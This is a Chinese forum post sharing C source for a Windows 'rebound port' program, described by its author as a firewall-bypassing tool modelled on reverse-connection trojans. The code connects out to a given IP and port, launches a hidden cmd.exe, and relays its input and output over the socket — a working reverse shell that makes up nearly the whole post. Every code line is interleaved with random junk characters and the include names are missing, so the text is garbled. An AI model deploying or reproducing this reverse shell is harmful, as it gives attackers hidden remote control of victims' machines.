社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3360阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 h?H:r <  
:G?6Hl)~)  
/* ============================== lqPzDdC^>  
Rebound port in Windows NT gKK*` L~  
By wind,2006/7 )sg@HFhY'  
===============================*/ j_2-  
#include xf/ SUO F  
#include f{=0-%dA  
Z6G>j  
#pragma comment(lib,"wsock32.lib") "_Wv,CYmNr  
*G|w#-\.c  
void OutputShell(); ! Ff/RRo  
SOCKET sClient; x5/O.5>f  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n";  )L}6to  
9Tbi_6[  
void main(int argc,char **argv) F)x^AJi e  
{ <0!/7*;#ZT  
WSADATA stWsaData; ]<\Ft H  
int nRet; 8:V:^`KaSs  
SOCKADDR_IN stSaiClient,stSaiServer; >gNVL (  
`4V_I%lJ&  
if(argc != 3) $ K>.|\  
{ y#-mj,e  
printf("Useage:\n\rRebound DestIP DestPort\n"); OmO/x  
return; 9Yg=4>#$  
} 3=( Gb  
(gd+-o4  
WSAStartup(MAKEWORD(2,2),&stWsaData); hVPSW# .d  
uH'n.d"WG  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6J3:[7k=&  
U#3Y3EdF<  
stSaiClient.sin_family = AF_INET; gp Aqz Y  
stSaiClient.sin_port = htons(0); FSnF>3kj-  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); WZkAlg7Z  
lFMQT ;  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @SA:64 9  
{ "/v{B?~%!  
printf("Bind Socket Failed!\n"); ~4HS 2\  
return; |y+<|fb,a  
} 'urn5[i  
Jr/|nhGl5  
stSaiServer.sin_family = AF_INET; 4N&4TUIM  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); te e  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Ys8p,.OMs  
z:C VzK,  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) u_+64c_7  
{ FM\yf ]'  
printf("Connect Error!"); Qs(WyP#  
return; Un{hI`3]  
} yEm[C(gZ  
OutputShell(); ^_dYE]t  
} d;GF<bz  
y^"[^+F3 .  
void OutputShell() nSWW^ ;  
{ (7 i@ @  
char szBuff[1024]; C^sHj5\(  
SECURITY_ATTRIBUTES stSecurityAttributes; *$uj)*5,  
OSVERSIONINFO stOsversionInfo; +k=BD s  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; W-9?|ei  
STARTUPINFO stStartupInfo; hrsMAh!  
char *szShell; l#!p?l  
PROCESS_INFORMATION stProcessInformation; 5$C4Ui{<E'  
unsigned long lBytesRead; %au2kG,  
e))fbv&V  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 3 K Y-+ k  
.<Y7,9;YEF  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1k&**!S]%  
stSecurityAttributes.lpSecurityDescriptor = 0; qcYF&  
stSecurityAttributes.bInheritHandle = TRUE; /:-8 ,`  
YKF5|;}  
H=2sT+Sp  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); gJYB)LjH"  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ;9w: %c1  
UA@(D  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 3<:(Eda}  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wvH=4TT=w"  
stStartupInfo.wShowWindow = SW_HIDE; 3f;W+^NY  
stStartupInfo.hStdInput = hReadPipe; Jb. V4  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .L;M-`^  
)HPt(Ck  
GetVersionEx(&stOsversionInfo); $]eU'!2)  
^HpUbZpat)  
switch(stOsversionInfo.dwPlatformId) xO2e>[W  
{ <=m@Sg{o  
case 1: ySyA!Z  
szShell = "command.com"; gmG M[c\  
break; =pQ'wx|>|  
default: BEn,py7  
szShell = "cmd.exe"; Q a(>$.h  
break; N%8O9Dp8;  
} k%UE^  
crx8+  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5X2&hG*  
TFrZ+CcWp2  
send(sClient,szMsg,77,0); MfzSoxCb  
while(1) 3LT[?C]H$  
{ s zgq7  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); s d -5AE  
if(lBytesRead) ["N{6d&Q  
{ K5; /  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); {(o$? =  
send(sClient,szBuff,lBytesRead,0); U-uBz4Gha  
} %`rZ]^H  
else N_#QS}H  
{ OMaG*fb=  
lBytesRead=recv(sClient,szBuff,1024,0); x'Uv;mGo  
if(lBytesRead<=0) break; Yxe%:  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %bs6Uy5g)a  
} pDW4DF:`(  
} z)z_]c-X+  
.2y2Qm  
return; E038p]M!  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五